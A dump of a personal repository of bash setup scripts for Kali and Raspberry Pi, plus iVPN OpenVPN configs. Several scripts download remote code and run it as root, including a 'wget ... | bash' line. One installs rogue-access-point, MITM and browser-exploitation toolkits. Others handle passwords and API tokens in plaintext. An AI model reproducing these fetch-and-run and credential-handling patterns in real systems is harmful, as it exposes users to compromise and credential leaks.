58 | install -m644 "${srcdir}/${pkgname}-${pkgver}/$f" "$installDir/$f"
59 | done
60 | }
61 |
--------------------------------------------------------------------------------
/configuration-scripts/gpg-update:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-key 165D673674A995B3E64BF0CF4F191A5A8844C542
4 | gpg -a --export 165D673674A995B3E64BF0CF4F191A5A8844C542 | sudo apt-key add -
5 |
6 | #sudo apt-key adv --keyserver keyserver.ubuntu,com --recv F0B5D826
7 | #gpg -a --export 4FF2E40CEC39A57852C12BAF77589CABF0B5D826 | sudo apt-key add -
8 |
9 | #sudo apt-key adv --keyserver keyserver.ubuntu.com --recv E06E6293
10 | #gpg -a --export DED04C8CBB517AE45B073F12A5D712AEE06E6293 | sudo apt-key add -
11 |
12 | #sudo apt-key adv --keyserver keyserver.ubuntu.com --recv F59EAE4D
13 | #gpg -a --export 4FA44A478284A18C1BA4A9CAD530E028F59EAE4D | sudo apt-key add -
14 |
15 | #sudo apt-key adv --keyserver keyserver.ubuntu.com --recv F0B5D826
16 | #gpg -a --export 4FF2E40CEC39A57852C12BAF77589CABF0B5D826 | sudo apt-key add -
17 |
--------------------------------------------------------------------------------
/configuration-scripts/install-apt-fast:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo "Installing aria2 and git..";
3 | echo ""
4 |
5 | sudo apt-get install -y aria2 git
6 |
7 | echo "Installing apt-fast..";
8 | echo ""
9 |
10 | if ! [[ -f /usr/bin/apt-fast ]]; then
11 | git clone https://github.com/ilikenwf/apt-fast /tmp/apt-fast
12 | sudo cp /tmp/apt-fast/apt-fast /usr/bin
13 | sudo chmod +x /usr/bin/apt-fast
14 | sudo cp /tmp/apt-fast/apt-fast.conf /etc
15 | fi
16 | echo "Done."
17 |
18 |
--------------------------------------------------------------------------------
/configuration-scripts/install-mt7610:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "cd into $HOME/Downloads folder..";
4 | echo ""
5 | cd ~/Downloads
6 |
7 | echo "Fteching script..";
8 | echo ""
9 | sleep 1
10 | sudo wget http://www.fars-robotics.net/install-wifi -O /usr/bin/install-wifi
11 | echo ""
12 |
13 | echo "Copying the executable file, install-wifi to /usr/bin..";
14 | echo ""
15 | sleep 1
16 | sudo chmod +x /usr/bin/install-wifi
17 | echo ""
18 |
19 | echo "Displaying the help menu..";
20 | echo ""
21 | sleep 1
22 | sudo install-wifi -h
23 | echo ""
24 |
25 | echo "Modifying script to fit your system..";
26 | echo ""
27 | sleep 1
28 |
29 | sudo wget https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-update
30 |
31 | echo ""
32 | echo "Installing bc..";
33 | echo ""
34 | sleep 1
35 | sudo apt-get install bc -y
36 |
37 | echo "Sourcing rpi-source --skip-gcc..";
38 | echo ""
39 | sleep 1
40 | rpi-source --skip-gcc
41 |
42 | echo "Upgrading..";
43 | echo ""
44 | sleep 1
45 | sudo apt-get upgrade
46 |
47 |
48 |
49 | echo ""
50 | echo "Entering /lib/modules/4.9.25+/build.."
51 | echo ""
52 | cd /lib/modules/$(uname -r)/build
53 | echo ""
54 |
55 | echo "Making module.."
56 | echo ""
57 | make
58 |
59 |
--------------------------------------------------------------------------------
/configuration-scripts/lcd-essentials:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | sudo apt-get install aptitude curl cmake build-essential mailutils python-dev python-pip libusb-1.0-0-dev python-numpy htop ftp locate screen kismet pure-ftpd tightvncserver mysql-server darkstat ntopng mana-toolkit beef-xss resolvconf mitmf dns2proxy dnsmasq hostapd
3 |
--------------------------------------------------------------------------------
/configuration-scripts/set-hostname-new:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | sudo -- bash -c 'echo "Please enter new Hostname"; old=$(hostname);read host; \
3 | sed -i.$(date "+%H%M%S%d%m%y") -e "s:$old:$host:g" /etc/hostname; \
4 | sed -i.$(date "+%H%M%S%d%m%y") -e "s:$old:$host:g" /etc/hosts; \
5 | hostnamectl set-hostname $host; echo "Old Name:$old and New Name is:$host"'
6 |
--------------------------------------------------------------------------------
/configuration-scripts/setup-lcd-3.5:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | mount /dev/mmcblk0p1 /boot
3 | cd /usr/local/src
4 | wget -O re4son-kernel_current.tar.xz https://whitedome.com.au/re4son/downloads/11299/
5 | tar -xJf re4son-kernel_current.tar.xz
6 | cd re4son-kernel_4*
7 | ./install.sh
8 |
--------------------------------------------------------------------------------
/configuration-scripts/setup-metasploit-dev-env:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | sudo service postgresql start
3 | sudo apt-get install exiftool
4 | sudo gem update
5 | sudo gem install bundler
6 | cd /opt/metasploit-framework
7 | login
8 | bundle install
9 | service metasploit start
10 | msf > db_status
11 |
12 |
--------------------------------------------------------------------------------
/configuration-scripts/whonix-url:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | URL='https://scottlinux.com/2015/09/01/use-kali-linux-through-tor-with-whonix-gateway/'
3 | [[ -x $BROWSER ]] && exec "$BROWSER" "$URL"
4 | path=$(which xdg-open || which gnome-open) && exec "$path" "$URL"
5 | echo "Can't find browser"
6 |
--------------------------------------------------------------------------------
/exploits/iplocator-setup:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Installing dependancies.."
4 | echo ""
5 | cpan
6 |
--------------------------------------------------------------------------------
/git-helper-scripts/test-github:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | clear
3 | #Colors
4 |
5 | dgrey="\033[0;34m"
6 | port="\033[0;33m"
7 | RED="\033[1;31m"
8 | GREEN="\033[2;32m"
9 | YELLOW="\033[1;33m"
10 | BLUE="\033[1;34m"
11 | RED="\033[0;31m"
12 | ENDCOLOR="\033[0m"
13 | BROWSER=firefox
14 | alias xclip='xclip -selection -c'
15 | githubusername=solidOptionOS
16 | echo -e $BLUE"#################################################################"$ENDCOLOR;
17 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR;
18 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR;
19 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR;
20 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR;
21 | echo -e $YELLOW" /_/ "$ENDCOLOR;
22 | echo -e $BLUE"#################################################################"$ENDCOLOR;
23 | echo ""
24 | echo -e $BLUE"Okay, let's test the connection. "$ENDCOLOR;
25 | sleep 1
26 | echo ""
27 | ssh -vT $githubusername@github.com
28 | sleep 1
29 |
30 | echo -e $BLUE"If you have authenticated, and the username in the message is yours, then you have successfully set up your SSH Key!;"$ENDCOLOR;
31 | echo -e $YELLOW"If you had any problems with your setup, we can try another route. "$ENDCOLOR;
32 | echo -e $YELLOW"Did you have a problem? { y/n }"$ENDCOLOR;
33 | read problemorsuccess
34 |
35 | if [[ $problemorsuccess = y || $problemorsuccess = Y ]] ; then
36 |
37 | echo -e $BLUE"That's ok. Let's try a different method. Login to Github and create a personal access token via -> Profile -> Settings -> Personal Access tokens"$ENDCOLOR;
38 | sleep 1
39 | echo -e $YELLOW"Enter the token here: "$ENDCOLOR;
40 | read privategithubtoken
41 | echo -e $BLUE"Ok, got it. Let's import that token."$ENDCOLOR;
42 | sleep 1
43 | curl -u $githubusername:$privategithubtoken https://api.github.com/user
44 | sleep 1
45 | echo -e $YELLOW"SUCCESS! You are now setup and ready to start using git!"$ENDCOLOR;
46 | exit
47 | else
48 |
49 | sleep 0.5
50 | echo -e $YELLOW"SUCCESS! You are now setup and ready to start using git!"$ENDCOLOiR;
51 | sleep 1
52 | exit
53 | fi
54 |
55 |
--------------------------------------------------------------------------------
/in-progress/create-newuser-INCOMPLETE.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | clear:
3 | # color vars
4 | dgrey="\033[0;34m"
5 | port="\033[0;33m"
6 | RED="\033[1;31m"
7 | GREEN="\033[2;32m"
8 | YELLOW="\033[1;33m"
9 | BLUE="\033[1;34m"
10 | RED="\033[0;31m"
11 | ENDCOLOR="\033[0m"
12 |
13 | echo -e $RED"#################################################################"$ENDCOLOR;
14 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR;
15 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR;
16 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR;
17 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR;
18 | echo -e $YELLOW" /_/ "$ENDCOLOR;
19 | echo -e $RED"#################################################################"$ENDCOLOR;
20 | echo -e $YELLOW"Create a New Standard User"$ENDCOLOR;
21 |
22 | if [ $USER != root ]; then
23 | echo -e $RED"Sorry, you must run this from as root."$ENDCOLOR
24 | echo -e $YELLOW"Exiting..."$ENDCOLOR
25 | exit 0
26 | fi
27 | echo -e $YELLOW"Enter new username: "$ENDCOLOR
28 | read NEWUSER
29 | useradd -U $NEWUSER
30 | sleep 1
31 | echo -e $YELLOW"Enter password for $NEWUSER: "$ENDCOLOR
32 | read PASS
33 | usermod -p $PASS $NEWUSER
34 | passwd $NEWUSER &
35 | echo $PASS &
36 | echo $PASS
37 | echo -e $BLUE"Password updated. "$ENDCOLOR
38 |
39 | sleep 1
40 | echo -e $BLUE"Adding user $NEWUSER to netdev, sudo, and adm groups"$ENDCOLOR
41 | sleep 1
42 | usermod -aG netdev $NEWUSER
43 | usermod -aG sudo $NEWUSER
44 | usermod -aG adm $NEWUSER
45 | sleep 1
46 | echo -e $BLUE"Changing user $NEWUSER default shell to /bin/bash"$ENDCOLOR
47 | chsh -s /bin/bash $NEWUSER
48 | sleep 1
49 | echo ""
50 | echo -e $RED"#########################################################"$ENDCOLOR
51 | echo -e $BLUE"# Complete. User $NEWUSER created with password $PASS. #"$ENDCOLOR
52 | echo -e $RED"#########################################################"$ENDCOLOR
53 | echo ""
54 | echo -e $GREEN"Have A Solid Day"$ENDCOLOR
55 | echo ""
56 | exit
57 |
--------------------------------------------------------------------------------
/in-progress/enable-autologin-INCOMPLETE.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo "Enable Autologin User."
3 | sleep 3
4 | echo "Enter autologin user: "
5 | read AUTOLOGINUSER
6 | echo "Sorry - under construction"
7 |
8 |
9 |
--------------------------------------------------------------------------------
/in-progress/raspberry-pi/forceWifi:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | sudo /sbin/wpa_supplicant -P /var/run/wpa_supplicant.wlan0.pid -i wlan0 \
3 | -D nl80211,wext -c /etc/wpa_supplicant/wpa_supplicant.conf
4 |
--------------------------------------------------------------------------------
/in-progress/raspberry-pi/led_show.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # LED show
3 |
4 | from time import sleep
5 | import pifacedigitalio as pfio
6 |
7 | pfio.init()
8 | leds = [0, 1, 2, 3, 4, 5, 6, 7]
9 | ledsR = [6, 5, 4, 3, 2, 1]
10 | sleepTime = 0.2 # the time in seconds
11 | rounds = 3
12 |
13 | def catepillarWalk(times, interval):
14 | i = 0
15 | # repeat times times ...
16 | while i < times:
17 | # turn on LED 0 to 7 one at a time with interval intervals ...
18 | for led in leds:
19 | pfio.digital_write(led, 1)
20 | sleep(interval)
21 |
22 | # turn off LED 0 to 7 one at a time with interval intervals ...
23 | for led in leds:
24 | pfio.digital_write(led, 0)
25 | sleep(interval)
26 |
27 | i += 1
28 |
29 | def pingpong(times, interval):
30 | i = 0
31 | # repeat times times ...
32 | while i < times:
33 | # flash LED 0 to 7 for interval intervals ...
34 | for led in leds:
35 | pfio.digital_write(led, 1)
36 | sleep(interval)
37 | pfio.digital_write(led, 0)
38 |
39 | # ... then flash LED 6 to 1 for interval intervals ...
40 | for led in ledsR:
41 | pfio.digital_write(led, 1)
42 | sleep(interval)
43 | pfio.digital_write(led, 0)
44 |
45 | i += 1
46 |
47 | # ... and flash LED 0 for an interval interval
48 | pfio.digital_write(0, 1)
49 | sleep(interval)
50 | pfio.digital_write(0, 0)
51 |
52 | def evenOddAlternate(times, interval):
53 | i = 0
54 | # repeat times times ...
55 | while i < times:
56 | # flash the even numbered LEDs for an interval interval ...
57 | for led in leds:
58 | if not (led % 2):
59 | pfio.digital_write(led, 1)
60 | sleep(interval)
61 | for led in leds:
62 | if not (led % 2):
63 | pfio.digital_write(led, 0)
64 | # ... then flash the odd numbered LEDs for an interval interval
65 | for led in leds:
66 | if led % 2:
67 | pfio.digital_write(led, 1)
68 | sleep(interval)
69 | for led in leds:
70 | if led % 2:
71 | pfio.digital_write(led, 0)
72 | i += 1
73 |
74 | catepillarWalk(rounds, sleepTime)
75 | pingpong(rounds, sleepTime)
76 | evenOddAlternate(rounds, sleepTime)
77 |
78 | print("Meny:")
79 | print("=====")
80 | print("Button 0: Catepillar walk LED show.")
81 | print("Button 1: Pingpong LED show.")
82 | print("Button 2: Even-Odd alternating LED show.")
83 | print("Button 3: Exit the program.")
84 | print()
85 | print("Please press one of the buttons to continue.")
86 |
87 | while True:
88 | if pfio.digital_read(0):
89 | catepillarWalk(1, sleepTime)
90 | elif pfio.digital_read(1):
91 | pingpong(1, sleepTime)
92 | elif pfio.digital_read(2):
93 | evenOddAlternate(1, sleepTime)
94 | elif pfio.digital_read(3):
95 | break
96 |
97 |
--------------------------------------------------------------------------------
/in-progress/raspberry-pi/setup-pifacedigital:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | sudo apt-get update
4 |
5 | cd ~/
6 |
7 | echo -e "Downloading install.txt"
8 | sleep 1
9 | echo ""
10 |
11 | wget http://pi.cs.man.ac.uk/download/install.txt | bash
12 | echo ""
13 |
14 | echo -e "Installing necessary pre-requesites.."
15 | sleep 1
16 |
17 | sudo apt-get install python3-pifacedigitalio python-pifacedigitalio
18 |
19 | sudo apt-get install python3-pifacedigital-emulator
20 |
21 | sudo apt-get install python3-pifacedigital-scratch-handler
22 |
23 | echo -e "Do you want to reboot now? (y/n) "
24 | read REBOOTNOW
25 |
26 | if [[ $REBOOTNOW = 'y' || $REBOOTNOW = 'Y' ]] ; then
27 | sudo reboot
28 |
29 | else
30 |
31 | echo -e "Okay. Maybe later"
32 | fi
33 |
34 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/Canada.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote ca.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name ca name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/France.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote fr.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name fr name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/Germany.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote de.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name de name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/Hong Kong.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote hk.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name hk name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
